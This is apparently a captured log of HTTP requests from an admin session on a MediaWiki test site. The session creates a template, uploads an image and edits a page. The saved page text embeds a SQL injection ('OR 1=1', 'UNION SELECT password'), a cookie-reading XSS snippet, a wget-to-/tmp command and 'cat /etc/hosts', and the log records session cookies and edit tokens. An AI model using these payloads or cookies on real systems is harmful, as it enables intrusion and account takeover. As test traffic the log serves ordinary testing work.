{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1w3uh", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 511", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%3Cincludeonly%3E%7B%7C+class%3D%22infobox%22%0A!+%7B%7B%7Bname%7C%7B%7BPAGENAME%7D%7D%7D%7D%7D%0A%7C-%0A%7C+%5B%5BFile%3A%7B%7B%7Bimage%7D%7D%7D%7C200px%5D%5D%0A%7C%7D%3C%2Fincludeonly%3E%3Cnoinclude%3EUsage%3A+%3Cnowiki%3E%7B%7BInfobox%7Cname%3D...%7D%7D%3C%2Fnowiki%3E%3C%2Fnoinclude%3E&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "POST", "target": "/index.php?title=Template:Infobox&action=submit", "headers": ["Host: example.com", "Content-Length: 2245", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryp4WNOE42QTlZ0sfO", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200049\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n<includeonly>{| class=\"infobox\"\r\n! {{{name|{{PAGENAME}}}}}\r\n|-\r\n| [[File:{{{image}}}|200px]]\r\n|}</includeonly><noinclude>Usage: <nowiki>{{Infobox|name=...}}</nowiki></noinclude>\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nInfobox template\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n46425d33c8b524405843812af83725be6af22671+\\\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryp4WNOE42QTlZ0sfO--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 289", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "action=stashedit&format=json&formatversion=2&title=Template%3AInfobox&section=&sectiontitle=&summary=Infobox+template&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=fa87f1b7d1dfe2c860f1821e9e4d9d446ef78923&token=46425d33c8b524405843812af83725be6af22671%2B%5C"}
{"method": "GET", "target": "/wiki/Template:Infobox", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Template:Infobox&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiPostEditRevision2=created; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=6zwhv", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Template:Infobox", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=unStar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1mpuf", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3APic%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKLskNzhkAu9rYahb", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": "------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"pic.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nPic python3.png\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for python3, powershell, ls -la and .htaccess notes\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb--\r\n"}
{"method": "GET", "target": "/wiki/File:Pic_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png?_=20261109200050", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQ8uGGBD9y406eaI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! 